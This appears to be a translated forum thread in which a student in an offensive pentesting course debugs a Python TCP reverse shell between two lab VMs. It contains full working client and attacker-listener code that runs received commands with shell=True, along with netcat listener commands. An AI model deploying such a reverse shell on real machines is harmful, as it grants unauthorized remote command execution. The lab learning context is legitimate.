我是socket的新手,目前正在进行攻击性笔测试的在线课程。其中一个课程是TCP Reverse shell。我在不同的虚拟机上运行两个脚本(使用VirtualBox),一个是攻击者,另一个是目标。攻击者脚本运行正常,但客户端正在输出错误:
Traceback (most recent call last):
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect
s.connect(('10.0.2.15', 8080))
File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it
我的代码:
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stdout.read())
def main():
connect()
main()
我不知道您是否需要查看其他脚本来回答我的问题,如果有,请告诉我。任何帮助将不胜感激,~Spiralio。
答案 0 :(得分:0)
确保您可以在虚拟机之间执行ping操作。如果是这样,尝试像netcat监听器这样简单的东西并尝试连接到它。
您可以在攻击者上运行nc -lp 8080
,然后在受害者身上运行nc 10.0.2.15 8080
(假设您使用的是Linux)。
这两个步骤将帮助您隔离问题。如果ping不起作用,很可能您的网络配置不正确。失败的netcat更多地指向某种防火墙。通过快速浏览并且不了解您的设置,我假设您的Python脚本很好,并且您没有正确配置2个VM进行通信。
确保IP网络相同,它们位于相同的VM网络上(在Virtualbox设置中设置),并且如上所述,没有防火墙在运行。
答案 1 :(得分:0)
攻击者的代码:
import socket
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('10.0.2.15', 8080))
s.listen(1)
conn, addr = s.accept()
print 'Got a connection from: ', addr
while True:
command = raw_input('Shell>')
if 'terminate' in command:
conn.send('terminate')
conn.close()
break
else:
conn.send(command)
print conn.recv(1024)
def main ():
connect()
main()